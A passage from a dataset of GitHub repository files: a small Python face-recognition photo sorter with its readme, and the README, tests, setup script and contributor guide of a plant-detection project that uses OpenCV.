-\", file_name)\n continue\n\n # Load new/current picture from source directory\n new_image = face_recognition.load_image_file(current_file_directory)\n total_face_count += len(face_recognition.face_locations(new_image))\n\n # Iterate through every face detected in the new picture\n for face_encoding in face_recognition.face_encodings(new_image):\n\n # Run the algorithm of face comaprison for the detected face, with 0.5 tolerance.\n # Higher tolerance tells the algorithm to be less strict, while lower means the opposite.\n results = face_recognition.compare_faces(target_face_encodings, face_encoding, 0.5)\n\n # Save the image to destination directory if there is a match\n if True in results:\n copyfile(current_file_directory, destination_directory + file_name)\n\n print(\"\\n Operation Completed.\")\n print(f\" Total {total_face_count} face checked.\")\n print(f\" Check '{destination_directory}' directory to see outputs\")\n## end separate_images_of_a_group()\n\n\ndef identify_known_persons():\n\n total_face_count = 0\n\n print(\"\\n Starting the operation.\\n\")\n \n # Take target persons image\n target_img_directory = \"./images/training/\"\n\n # Take location of all images to search\n source_directory = \"./images/inputs/\"\n\n # Create a destination directory to store target images\n destination_directory = \"./images/outputs/identified/\"\n if not os.path.exists(destination_directory):\n os.makedirs(destination_directory)\n\n # Iterate through all the pictures in source directory, store persons name and\n # Create an encoding of target peoples facial features that can be compared to other faces\n target_face_encodings = []\n person_name= []\n for file_name in os.listdir(target_img_directory):\n picture_of_target = face_recognition.load_image_file(target_img_directory + file_name)\n target_face_encoding = face_recognition.face_encodings(picture_of_target)[0]\n target_face_encodings.append(target_face_encoding)\n person_name.append(file_name.split('.')[0])\n\n # Iterate through all the pictures in source directory\n for file_name in os.listdir(source_directory):\n\n # Check if the file is an image\n if file_name.endswith(\".jpg\") or file_name.endswith(\".jpeg\") or file_name.endswith(\".png\"):\n print(\"Checking:\", file_name)\n else:\n print(\"NOT AN IMAGE -\", file_name)\n continue\n \n # Load new/current image to find faces in\n new_image = face_recognition.load_image_file(source_directory + file_name)\n total_face_count += len(face_recognition.face_locations(new_image))\n\n # Find faces in new image\n new_face_locations = face_recognition.face_locations(new_image)\n new_face_encodings = face_recognition.face_encodings(new_image, new_face_locations)\n\n # Convert to PIL format\n pil_image = Image.fromarray(new_image)\n\n # Create a ImageDraw instance\n draw = ImageDraw.Draw(pil_image)\n\n # Loop through faces in new/current image\n for(top, right, bottom, left), face_encoding in zip(new_face_locations, new_face_encodings):\n \n # Run the algorithm of face comaprison for the detected face, with 0.5 tolerance.\n # Higher tolerance tells the algorithm to be less strict, while lower means the opposite.\n results = face_recognition.compare_faces(target_face_encodings, face_encoding, 0.5)\n\n name = \"Unknown\"\n\n # If there is a match\n if True in results:\n first_match_index = results.index(True)\n name = person_name[first_match_index]\n \n # Draw rectangle\n draw.rectangle(((left, top), (right, bottom)), outline=(255,255,0))\n\n # Show name\n text_width, text_height = draw.textsize(name)\n draw.rectangle(((left,bottom - text_height - 10), (right, bottom)), fill=(0,0,0), outline=(255,255,0))\n draw.text((left + 6, bottom - text_height - 5), name, fill=(255,255,0))\n\n del draw\n\n # Show image\n pil_image.show()\n\n # Save image\n pil_image.save(destination_directory + file_name)\n\n print(\"\\n Operation Completed.\")\n print(f\" Total {total_face_count} face checked.\")\n print(f\" Check '{destination_directory}' directory to see outputs\")\n## end identify_known_persons()\n\n\n# Call the main function:\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.6863226890563965, "alphanum_fraction": 0.687960684299469, "avg_line_length": 53.45454406738281, "blob_id": "20828329bbff09e985bbea8e7fb4369a437df731", "content_id": "f769fe7efdce2458636621dce8d891de0b3d318e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2442, "license_type": "no_license", "max_line_length": 474, "num_lines": 44, "path": "/readme.md", "repo_name": "forhadk/aip", "src_encoding": "UTF-8", "text": "# Image Filter or Searching System\r\n\r\nMy goal was to create a system that will be able to find and separate a specific person or a group of people's images from a local folder where exists thousands of images of various peoples.\r\nTo do so, I used python and a library called '[face_recongnition](https://pypi.org/project/face-recognition/)'.\r\n\r\n\r\n### Features: \r\n<ul>\r\n <li> It's a console-based program </li>\r\n <li> Consists of three options: </li>\r\n <ol>\r\n <dl>\r\n <dt>1. Separate images of a person:</dt>\r\n <dd>This function takes the image name of the target person (located in <code>./images/training/</code> directory) and searches all the images available in the <code>./images/inputs/</code> directory. As output, it copies all of those images which consists target person and save in a folder at <code>./images/outputs/</code> directory.</dd>\r\n </dl>\r\n </ol>\r\n <ol>\r\n <dl>\r\n <dt>2. Separate images of a group of people:</dt>\r\n <dd>This function takes all the images located in the <code>./images/training/</code> directory as target person image and searches all the images available in the <code>./images/inputs/</code> directory. As output, it copies all of those images which consists target person, and saves them in a folder at the <code>./images/outputs/</code> directory.</dd>\r\n </dl>\r\n </ol>\r\n <ol>\r\n <dl>\r\n <dt>3. Identify known persons in an image:</dt>\r\n <dd>This function takes all the images available in the <code>./images/training/</code> directory as known persons and search all the images available in the <code>./images/inputs/</code> directory. As output, it shows each image with an identified person, if the person is known then it will show the person (image) name otherwise it will show unknown. It also saves an identified copy of those images in a folder at the <code>./images/outputs/</code> directory.</dd>\r\n </dl>\r\n </ol> \r\n</ul>\r\n\r\n<br><br>\r\n\r\n\r\n### To run this program you need: \r\n - Python 3 and \r\n - [face_recongnition](https://pypi.org/project/face-recognition/) installed \r\n\r\n\r\n### Procedure to run:\r\n - Download or Clone this repository. \r\n - Put all the images you wanna search or filter at <code>./images/inputs/</code> directory. \r\n - Put all the target person's image (training images) at <code>./images/training/</code> directory.\r\n - Run the `main.py` file.\r\n - Follow instructions shown in the console.\r\n\r\n" }, { "alpha_fraction": 0.746835470199585, "alphanum_fraction": 0.746835470199585, "avg_line_length": 78, "blob_id": "31b8c9c149ee04c415b68d64a68d1ee82c60555b", "content_id": "b6c7d3f035e68c5dd9243eb12d1b2dc0a4c44aed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 79, "license_type": "no_license", "max_line_length": 78, "num_lines": 1, "path": "/images/training/readme.md", "repo_name": "forhadk/aip", "src_encoding": "UTF-8", "text": "### Make sure all the target person's image (training images) is located here.\n" } ]
5
avitakhilya27/FinalProjectPygame
https://github.com/avitakhilya27/FinalProjectPygame
17cd105198dff3c7a822fc7a33f687713d2cc7d3
d6a75aa4a68ceda764c8229bda887c2b7574a47c
98ff1822d9e44ec887406210770989c7adbc5abb
refs/heads/main
2023-07-10T03:28:55.249553
2021-08-19T15:37:18
2021-08-19T15:37:18
397,682,564
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5946882367134094, "alphanum_fraction": 0.8083140850067139, "avg_line_length": 53.125, "blob_id": "dfacaa51cbbfc6b89b2d6605e3f10184c0db278a", "content_id": "fddc6d34c2828b9a7ff69094cb3bcc360bd7592d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 866, "license_type": "no_license", "max_line_length": 141, "num_lines": 16, "path": "/README.md", "repo_name": "avitakhilya27/FinalProjectPygame", "src_encoding": "UTF-8", "text": "![pygame window 8_19_2021 12_27_44 AM](https://user-images.githubusercontent.com/89155682/129947778-c8d37de2-de4e-4f93-8cc9-6d2aca2cdd61.png)\n# FinalProjectPygame\nDTS Kominfo Final Project Pygame Kelompok I \"Maintain Independence\"\n Judul game = Maintain Independence\n\n asset ada diambil dari pencarian google\n ada sebagian diambil dari https://www.gameart2d.com/license.html (free lisense)\n ada juga yang diambil dari https://github.com/afandi354/GamePython\n\n sound effect diambi dari youtube\n\n\nhttps://user-images.githubusercontent.com/89155682/129948218-8e49e4ea-ab7c-43dc-9fb5-5a979e5009b7.mp4\n\n![asset 8_19_2021 12_30_28 AM](https://user-images.githubusercontent.com/89155682/129948511-5d9a1d1c-d737-4ade-a31d-6e8050c52831.png)\n![asset 8_19_2021 12_29_38 AM](https://user-images.githubusercontent.com/89155682/129948585-66c24d06-3758-4538-b8af-c4b2eb2b6f9c.png)\n" }, { "alpha_fraction": 0.5496512651443481, "alphanum_fraction": 0.5684711337089539, "avg_line_length": 35.945377349853516, "blob_id": "3411e495106de7d00549c36f12d6ca5f26e4dbe6", "content_id": "70b114e355dd5c9d09cb414e7127e8b1a94624b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9033, "license_type": "no_license", "max_line_length": 110, "num_lines": 238, "path": "/Maintain_Independence.py", "repo_name": "avitakhilya27/FinalProjectPygame", "src_encoding": "UTF-8", "text": "#import library pygame\r\nimport pygame\r\n## pengaturan tampilan game\r\n# mengatur ukuran layar\r\nSCREEN_WIDTH = 600\r\nSCREEN_HEIGHT = 600\r\nSCREEN_TITLE = \"Maintain Independece\"\r\n\r\n# mengatur warna background (RGB code)\r\nWHITE_COLOR = (255, 255, 255)\r\nBLACK_COLOR = (0, 0, 0)\r\n\r\n#menginisialisasi gambar yang ditampilkan\r\nkalah_image = pygame.image.load('asset/gameover.png')\r\nkalah_image = pygame.transform.scale(kalah_image, (300, 100))\r\nmenang_image = pygame.image.load('asset/merdeka.jpg')\r\nmenang_image = pygame.transform.scale(menang_image, (280, 280))\r\n\r\n# menambahkan suara\r\npygame.mixer.init()\r\nstart_sound = pygame.mixer.Sound('sound effect/start.mp3')\r\nlangkah_sound = pygame.mixer.Sound('sound effect/langkah.ogg')\r\ngameover_sound = pygame.mixer.Sound('sound effect/gameover.ogg')\r\nfinish_sound = pygame.mixer.Sound('sound effect/finish.mp3')\r\n\r\n# frame rate = mengatur jumlah frame per second\r\nclock = pygame.time.Clock()\r\n\r\n#penerapan object oriented progamming\r\nclass Game:\r\n #frame rate yang digunakan 60 fame per detik\r\n TICK_RATE = 60\r\n\r\n #inisialisasi class untuk set up title , width, heigth\r\n def __init__(self, image_path, title, width, height):\r\n self.title = title\r\n self.width = width\r\n self.height = height\r\n\r\n # menampilkan screen\r\n self.game_screen = pygame.display.set_mode((width, height))\r\n #warna putih pada backgraound\r\n self.game_screen.fill(WHITE_COLOR)\r\n pygame.display.set_caption(title)\r\n #load dan set background image game\r\n background_image = pygame.image.load(image_path)\r\n self.image = pygame.transform.scale(background_image, (width, height))\r\n\r\n def run_game_loop(self, level_speed):\r\n is_game_over = False\r\n direction = 0\r\n did_win = False\r\n\r\n #memutar sound saat game mulai\r\n start_sound.play()\r\n\r\n player_character = PlayerCharacter('asset/player.png', 275, 550, 50, 50)\r\n\r\n enemy_1 = EnemyCharacter('asset/musuh1.png', 20, 450, 50, 50)\r\n #kecepatan musush bertambah ketika mencapai bendera\r\n enemy_1.SPEED += level_speed\r\n\r\n enemy_2 = EnemyCharacter('asset/musuh2.png', self.width - 40, 300, 50, 50)\r\n enemy_2.SPEED += level_speed\r\n\r\n enemy_3 = EnemyCharacter('asset/musuh3.png', 20, 100, 50, 50)\r\n enemy_3.SPEED += level_speed\r\n\r\n enemy_4 = EnemyCharacter('asset/musuh4.png', self.width - 20, 25, 45, 45)\r\n enemy_4.SPEED += level_speed\r\n\r\n Flag = GameObject('asset/flag.png', 275, -15, 60, 60)\r\n\r\n # perulangan untuk mengupdate game\r\n # Main game loop, digunakan untuk update semua gameplay seperti movement, checks, dan graphic\r\n # Berjalan sampai is_game_over = True\r\n while not is_game_over:\r\n for event in pygame.event.get():\r\n # ketika kita menekan tombol keluar (esc), maka akan keluar dari game loop\r\n if event.type == pygame.QUIT:\r\n is_game_over = True\r\n # Deteksi ketika menekan panah turun\r\n elif event.type == pygame.KEYDOWN:\r\n # Player bergerak ke atas\r\n if event.key == pygame.K_UP:\r\n direction = 1\r\n langkah_sound.play()\r\n # ketikan arah/ tombol dilepas\r\n elif event.key == pygame.K_DOWN:\r\n direction = -1\r\n langkah_sound.play()\r\n #ketika menekan tombol keatas\r\n elif event.type == pygame.KEYUP:\r\n if event.key == pygame.K_UP or event.key == pygame.K_DOWN:\r\n #gerakan player berhenti\r\n direction = 0\r\n langkah_sound.play()\r\n print(event)\r\n\r\n # memampilkan screen\r\n self.game_screen.fill(WHITE_COLOR)\r\n self.game_screen.blit(self.image,(0, 0))\r\n\r\n #menampilkan karakter(player, enemy)\r\n player_character.move(direction)\r\n player_character.draw(self.game_screen)\r\n Flag.draw(self.game_screen)\r\n\r\n enemy_1.move(self.width)\r\n enemy_1.draw(self.game_screen)\r\n\r\n #move dan draw enemy ketika kecepatannya makin bertambah\r\n if level_speed > 2 :\r\n enemy_2.move(self.width)\r\n enemy_2.draw(self.game_screen)\r\n if level_speed > 4 :\r\n enemy_3.move(self.width)\r\n enemy_3.draw(self.game_screen)\r\n if level_speed > 5:\r\n enemy_4.move(self.width)\r\n enemy_4.draw(self.game_screen)\r\n\r\n #jika bertabrakan dengan enemy, game berhenti\r\n if player_character.detection_collison(enemy_1):\r\n is_game_over = True\r\n did_win = False\r\n self.game_screen.blit(kalah_image, (150, 250))\r\n gameover_sound.play()\r\n pygame.display.update()\r\n clock.tick(1)\r\n break\r\n if player_character.detection_collison(enemy_2):\r\n is_game_over = True\r\n did_win = False\r\n self.game_screen.blit(kalah_image, (150, 250))\r\n gameover_sound.play()\r\n pygame.display.update()\r\n clock.tick(1)\r\n break\r\n if player_character.detection_collison(enemy_3):\r\n is_game_over = True\r\n did_win = False\r\n self.game_screen.blit(kalah_image, (150, 250))\r\n gameover_sound.play()\r\n pygame.display.update()\r\n clock.tick(1)\r\n break\r\n if player_character.detection_collison(enemy_4):\r\n is_game_over = True\r\n did_win = False\r\n self.game_screen.blit(kalah_image, (150, 250))\r\n gameover_sound.play()\r\n pygame.display.update()\r\n clock.tick(1)\r\n break\r\n\r\n #jika bertabrakan dengan benderaa, game berlanjut\r\n if player_character.detection_collison(Flag):\r\n is_game_over = True\r\n did_win = True\r\n self.game_screen.blit(menang_image, (150, 150))\r\n finish_sound.play()\r\n pygame.display.update()\r\n clock.tick(1)\r\n break\r\n\r\n pygame.display.update()\r\n clock.tick(self.TICK_RATE)\r\n if did_win: #jika menang, game akan berulang dengan kecepatan bertambah 1, jika kalah game berakhir\r\n self.run_game_loop(level_speed + 1.0)\r\n else:\r\n return\r\n\r\n#Class objek game generik untuk disubklasifikasikan oleh objek lain dalam game\r\nclass GameObject:\r\n def __init__(self, image_path, x, y, width, height):\r\n self.x_pos = x\r\n self.y_pos = y\r\n\r\n self.width = width\r\n self.height = height\r\n\r\n # load karakter pada game\r\n object_image = pygame.image.load(image_path)\r\n self.image = pygame.transform.scale(object_image, (width, height))\r\n\r\n def draw(self, background):\r\n background.blit(self.image, (self.x_pos, self.y_pos)) #blit untuk menambahkan karakter objek\r\n\r\n#class yang mewakili karakter pemain\r\nclass PlayerCharacter(GameObject):\r\n\r\n SPEED = 5\r\n\r\n def __init__(self, image_path, x, y, width, height):\r\n #subclass yang mewarisi (inharitance) dari superclasss game object\r\n super().__init__(image_path, x, y, width, height)\r\n\r\n def move(self, direction):\r\n if direction > 0:\r\n self.y_pos -= self.SPEED\r\n elif direction < 0 :\r\n self.y_pos += self.SPEED\r\n\r\n def detection_collison(self, other_body):\r\n if self.y_pos > other_body.y_pos + other_body.height: #jika posisi pemain diatas enemy, game berlanjut\r\n return False\r\n elif self.y_pos + self.height < other_body.y_pos: #jika posisi pemain dibawah enemy, game berlanjut\r\n return False\r\n if self.x_pos > other_body.x_pos + other_body.width: #jika posisi pemain dikanan enemy, game lanjut\r\n return False\r\n elif self.x_pos + self.width < other_body.x_pos: #jika posisi pemain dikiri enemy, game lanjut\r\n return False\r\n return True\r\n\r\n#Kelas untuk mewakili musuh yang bergerak dari kiri ke kanan dan kanan ke kiri\r\nclass EnemyCharacter(GameObject):\r\n #kecepatan musuh\r\n SPEED = 5\r\n\r\n def __init__(self, image_path, x, y, width, height):\r\n super().__init__(image_path, x, y, width, height)\r\n\r\n def move(self, max_width):\r\n if self.x_pos <= 20:\r\n self.SPEED = abs(self.SPEED)\r\n elif self.x_pos >= max_width - 40 :\r\n self.SPEED = -abs(self.SPEED)\r\n self.x_pos += self.SPEED\r\n\r\npygame.init()\r\nnew_game = Game('asset/background.png', SCREEN_TITLE, SCREEN_WIDTH, SCREEN_HEIGHT)\r\nnew_game.run_game_loop(1)\r\n\r\n\r\n#keluar dari game\r\npygame.quit()\r\nquit()\r\n\r\n" } ]
2
gabrielburnworth/plant-detection
https://github.com/gabrielburnworth/plant-detection
931528c2acdbc465cb8cc9628ace0711651650cd
684a743ac0396ab52e139525c1abe8f8e070dcbb
3e77489be676f2ca715d5f7bf53680bd9c803cf0
refs/heads/main
2022-11-23T11:49:00.991932
2022-11-17T19:43:21
2022-11-17T19:52:11
59,454,200
75
22
null
null
null
null
null
[ { "alpha_fraction": 0.8571428656578064, "alphanum_fraction": 0.8571428656578064, "avg_line_length": 7.75, "blob_id": "aa0a192dafab6e37af9168160a4f3a23b46c747f", "content_id": "af44fe6e0e92f023482c06f647ab9c4fddda87b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 35, "license_type": "no_license", "max_line_length": 13, "num_lines": 4, "path": "/requirements.txt", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "opencv-python\nnumpy\nrequests\nredis\n" }, { "alpha_fraction": 0.4471330940723419, "alphanum_fraction": 0.501841127872467, "avg_line_length": 40.326087951660156, "blob_id": "408ae06d3c5911a7d9281f6713119d9491b7377a", "content_id": "55f869cde7a65552f1045ac73e552208baeb6844", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3802, "license_type": "no_license", "max_line_length": 75, "num_lines": 92, "path": "/plant_detection/tests/test_pattern_calibration.py", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\"\"\"PatternCalibration Tests\n\nFor Plant Detection.\n\"\"\"\nimport unittest\nimport cv2\nimport numpy as np\nfrom plant_detection.PatternCalibration import PatternCalibration\nfrom .test_P2C import rotate\n\n\nclass PatternCalibrationTest(unittest.TestCase):\n \"\"\"Check calibration results.\"\"\"\n\n def test_calibration_results(self, ):\n \"\"\"Check calibration results.\"\"\"\n offset_groups = [\n {'offsets': [[0, 0], [0, 50], [-50, 50]],\n 'origin': [0, 1], 'angle': -13.76},\n {'offsets': [[0, 0], [0, 50], [50, 50]],\n 'origin': [1, 1], 'angle': -15.15},\n {'offsets': [[0, 0], [0, -50], [-50, -50]],\n 'origin': [0, 0], 'angle': -13.76},\n {'offsets': [[0, 0], [0, -50], [50, -50]],\n 'origin': [1, 0], 'angle': -15.15},\n ]\n for offset_group in offset_groups:\n results = {}\n pattern_calibration = PatternCalibration(results)\n images = []\n for i, offset in enumerate(offset_group['offsets']):\n images.append(np.zeros([1000, 2000, 3], np.uint8))\n for j in range(5):\n for k in range(4):\n loc = ((165 + j * 30) * 4 + offset[0],\n (70 + k * 30) * 4 + offset[1])\n cv2.circle(images[i], loc, 20, (255, 255, 255), -1)\n for k in range(3):\n loc = ((150 + j * 30) * 4 + offset[0],\n (85 + k * 30) * 4 + offset[1])\n cv2.circle(images[i], loc, 20, (255, 255, 255), -1)\n images[i] = rotate(images[i], 15)\n pattern_calibration.dot_images = {\n 0: {'image': images[0], 'coordinates': {'z': 0}},\n 1: {'image': images[1], 'coordinates': {'z': 0}},\n 2: {'image': images[2], 'coordinates': {'z': 0}},\n }\n\n pattern_calibration.calibrate()\n\n origin = offset_group['origin']\n angle = offset_group['angle']\n self.assertEqual(results['image_bot_origin_location'], origin)\n self.assertEqual(results['center_pixel_location'], [1000, 500])\n self.assertEqual(results['total_rotation_angle'], angle)\n self.assertEqual(results['camera_z'], 0)\n self.assertEqual(results['coord_scale'], 0.25)\n\n def test_calculate_rotation(self):\n \"\"\"Check rotation calculation.\"\"\"\n pattern_calibration = PatternCalibration({})\n center = [320, 240]\n pattern_calibration.center = center\n\n angles = range(0, 370, 10)\n thetas = np.deg2rad(angles)\n xs = center[0] + 100 * np.cos(thetas)\n ys = center[1] + 100 * np.sin(thetas)\n\n for angle, x, y in zip(angles, xs, ys):\n adjusted_angle = angle - 180 if angle > 90 else angle\n adjusted_angle = angle - 360 if angle > 269 else adjusted_angle\n rotation = pattern_calibration.rotation_calc([x, y])\n self.assertEqual(round(rotation, 2), round(adjusted_angle, 2))\n\n def test_calculate_origin(self):\n \"\"\"Check origin calculation.\"\"\"\n pattern_calibration = PatternCalibration({})\n center = [150, 200]\n\n for origin_x in range(2):\n for origin_y in range(2):\n x = [center[0], center[1] + 50 * (1 if origin_y else -1)]\n y = [center[0] + 50 * (1 if origin_x else -1), center[1]]\n rotated_axis_points = np.array(\n [[center] * 3, [x] * 3, [y] * 3],\n dtype='float32')\n origin = pattern_calibration.calculate_origin(\n rotated_axis_points)\n self.assertEqual(origin, [origin_x, origin_y])\n" }, { "alpha_fraction": 0.7130904197692871, "alphanum_fraction": 0.728205144405365, "avg_line_length": 32.681819915771484, "blob_id": "614577e43a1dc22fe7915bfca09d4b21d7cea3b6", "content_id": "f71ed14bb32603913190ad5f1e87bc0508ce09df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3883, "license_type": "no_license", "max_line_length": 125, "num_lines": 110, "path": "/README.md", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "# Plant Detection\nDetects and marks green plants in a (not green) soil area image using Python OpenCV.\n\nThe goal is to mark unwanted volunteer plants for removal.\n\nFor an overview of the image processing performed, see [the wiki](../../wiki/Plant-Detection-Image-Processing-Steps).\n\n## Contents\n * [Installation](#installation)\n * [Basic Usage](#basic-usage)\n * [Option 1: Run script](#run-the-script)\n * [Option 2: Python console](#alternatively-process-images-using-a-python-command-line)\n * [Option 3: GUI](#or-run-the-gui-and-move-the-sliders)\n * [Suggested Workflow](#image-file-processing-suggested-workflow)\n * [Tips](#tips)\n * [Project Directory](#project-directory)\n\n---\n\n## Installation\n\n`pip install -r requirements.txt`\n\nsee [Contributing](contributing.md) for more installation options\n\n## Basic Usage\n\n#### Run the script:\n\nUsing the sample soil image, `soil_image.jpg`.\n\nRun the script: `python -m plant_detection.PlantDetection`\n\nView `soil_image_marked.jpg`\n\n#### Alternatively, process images using a python command line:\n```python\nfrom plant_detection.PlantDetection import PlantDetection\nhelp(PlantDetection)\nPD = PlantDetection(image='plant_detection/soil_image.jpg')\nPD.detect_plants()\nPD = PlantDetection(image='plant_detection/soil_image.jpg', morph=15, iterations=2, debug=True)\nPD.detect_plants()\n```\n\n#### Or, run the GUI and move the sliders:\n`python -m plant_detection.PlantDetection --GUI`\n\nDefault image to process is `soil_image.jpg`. To process other images, use:\n\n`python -m plant_detection.PlantDetection --GUI other_image_name.png`\n\n<img src=\"https://cloud.githubusercontent.com/assets/12681652/15620382/b7f31dd6-240e-11e6-853f-356d1a90376e.png\" width=\"350\">\n\n## Image file processing suggested workflow\n\n#### 1. Save image to be processed\nFor example: `test_image.jpg`\n\n#### 2. Run the GUI and move the sliders:\n`python -m plant_detection.PlantDetection --GUI test_image.jpg`\n\nThis will create a plant detection parameters input file from the slider values.\n\n#### 3. Run detection:\n`python -m plant_detection.PlantDetection test_image.jpg`\n\n>Or, for more options, enter a python command line: `python`\n```python\nfrom plant_detection.PlantDetection import PlantDetection\nPD = PlantDetection(image='test_image.jpg', from_file=True)\nPD.detect_plants()\n```\n>(_For examples of output for graphic-related keyword arguments, see [the wiki](../../wiki/IO#graphics))_\n\n#### 4. View output\nAnnotated image: `test_image_marked.png`\n\n## Tips\n\n#### View help\n`python -c 'from plant_detection.PlantDetection import PlantDetection; help(PlantDetection)'`\n\n#### Hue range aid\n`python -m plant_detection.PlantDetection --GUI plant_detection/p2c_test_color.jpg`\n\n## Project Directory\n\n```\nplant-detection\n├── plant_detection - Plant Detection Package\n│   ├── tests - project test suite\n│   ├── PlantDetection.py - calibrate and detect plants\n│   ├── Capture.py - take photos with a camera\n│   ├── Parameters.py - handle input parameters\n│   ├── Image.py - image processing\n│   ├── DB.py - handle plant data\n│   ├── P2C.py - pixel to coordinate conversion\n│   ├── PatternCalibration.py - alternative calibration method\n│   ├── CeleryPy.py - convert plant data to CeleryScript\n│   ├── Log.py - custom send_message wrapper\n│   ├── ENV.py - environment variable save and load operations\n│   ├── GUI.py - interactively change input parameters\n│   ├── p2c_test_calibration.jpg - coordinate conversion calibration test image\n│   ├── p2c_test_objects.jpg - coordinate conversion detection test image\n│   ├── p2c_test_color.jpg - color range test image\n│   └── soil_image.jpg - plant detection test image\n├── quickscripts - scripts to run specific tasks\n└── README.md\n```\n" }, { "alpha_fraction": 0.5617897510528564, "alphanum_fraction": 0.5688920617103577, "avg_line_length": 34.20000076293945, "blob_id": "a4b021627a90fd6e6990f42f9326be75d91c7c51", "content_id": "3d7c83e9c01389c034539e7e71f2a7987329b7f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1408, "license_type": "no_license", "max_line_length": 79, "num_lines": 40, "path": "/setup.py", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\"\"\"Plant Detection package setup.\"\"\"\n\nfrom setuptools import setup\n\nwith open('README.md') as f:\n README = f.read()\n\nwith open('requirements.txt') as f:\n REQUIRED = f.read().splitlines()\n\nDESCRIPTION = 'Detect and mark plants in a soil area image using Python OpenCV'\n\nif __name__ == '__main__':\n setup(name='plant_detection',\n version='0.0.1',\n description=DESCRIPTION,\n long_description=README,\n url='https://github.com/FarmBot-Labs/plant-detection',\n author='FarmBot Inc.',\n license='MIT',\n author_email='[email protected]',\n packages=['plant_detection'],\n include_package_data=True,\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Scientific/Engineering :: Image Recognition',\n ],\n keywords=['farmbot', 'python', 'opencv'],\n # install_requires=REQUIRED,\n test_suite='plant_detection.tests.tests.test_suite',\n scripts=['quickscripts/capture_and_detect.py'],\n zip_safe=False)\n" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5454545617103577, "avg_line_length": 11.466666221618652, "blob_id": "208bb15b2f7da313353b019d17a13865cfe113f1", "content_id": "b12e93d8163fd58b5cc831b5a5d93aff3426822d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 187, "license_type": "no_license", "max_line_length": 32, "num_lines": 15, "path": "/.coveragerc", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "[run]\nbranch = True\nomit =\n *test*\n *__init__.py\n *GUI*\n setup.py\nsource = .\n\n[report]\nexclude_lines =\n if __name__ == .__main__.:\n\n[html]\ndirectory = coverage_html_report\n" }, { "alpha_fraction": 0.6264880895614624, "alphanum_fraction": 0.6383928656578064, "avg_line_length": 20, "blob_id": "6e9acdf1896ce2a20c88f9fcfa029d85de643311", "content_id": "73965c270d305387b377f3505f621d08c9c71de5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1344, "license_type": "no_license", "max_line_length": 61, "num_lines": 64, "path": "/contributing.md", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "# Contributing\n\n## Setup (Dependency installation)\n```\npip install -r requirements.txt\n```\n\n## Supported dependency versions\n| | Python | NumPy | OpenCV |\n|:-----------:|:------:|:-----:|:------:|\n| **Legacy** | 2.7 | 1.8 | 2.4 |\n| **Current** | 3.8 | 1.17 | 3.4 |\n#### Check versions:\n```\npython --version\npython -c 'import cv2; print(\"OpenCV \" + cv2.__version__)'\npython -c 'import numpy; print(\"NumPy \" + numpy.__version__)'\n```\n_Build matrix in `.travis.yml`_\n\n## Static code analysis\n_Settings are stored in `.landscape.yml`_\n### Setup\n`pip install prospector`\n### Run\n`python -m prospector`\n\n## Test Suite\n_Can also be run via `python -m plant_detection.tests.tests`_\n### Setup\n`pip install fakeredis`\n### Run\n`python -m unittest discover -v`\n#### Manual Tests\n```\npython -m plant_detection.PlantDetection --GUI\npython -m plant_detection.Capture\npython -m plant_detection.P2C\n```\n\n## Test coverage\n_Settings stored in `.coveragerc`_\n### Setup\n`pip install coverage`\n### Run\n```\npython -m coverage run -m unittest discover\npython -m coverage html\n```\nopen `coverage_html_report/index.html` in browser\n\n## Pre-commit hooks\n_Settings stored in `.pre-commit-config.yaml`_\n### Setup\n```\npip install pre-commit\npython -m pre_commit install\n```\n### Run\n```\ngit add .\npython -m pre_commit run --all-files\ngit diff\n```\n" }, { "alpha_fraction": 0.3867575526237488, "alphanum_fraction": 0.3982473313808441, "avg_line_length": 30.632444381713867, "blob_id": "175fe61daf9704e57e53247affbee93ff8949dc4", "content_id": "bac5ae0c9858dff83465338d1ea76bb4acf6ee2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15405, "license_type": "no_license", "max_line_length": 79, "num_lines": 487, "path": "/plant_detection/tests/test_celerypy.py", "repo_name": "gabrielburnworth/plant-detection", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"CeleryPy Tests\n\nFor Plant Detection.\n\"\"\"\nimport unittest\nimport json\nfrom plant_detection import CeleryPy\n\n\nclass CeleryScript(unittest.TestCase):\n \"\"\"Check celery script\"\"\"\n\n def setUp(self):\n # add_point\n self.add_point = CeleryPy.add_point(\n point_x=1, point_y=2, point_z=3, point_r=4)\n self.add_point_static = {\n \"kind\": \"add_point\",\n \"args\": {\n \"radius\": 4,\n \"location\": {\n \"kind\": \"coordinate\",\n \"args\": {\n \"x\": 1,\n \"y\": 2,\n \"z\": 3\n }\n }\n },\n \"body\": [\n {\n \"kind\": \"pair\",\n \"args\": {\n \"label\": \"created_by\",\n \"value\": \"plant-detection\"\n }\n }\n ]\n }\n # set_user_env\n self.set_env_var 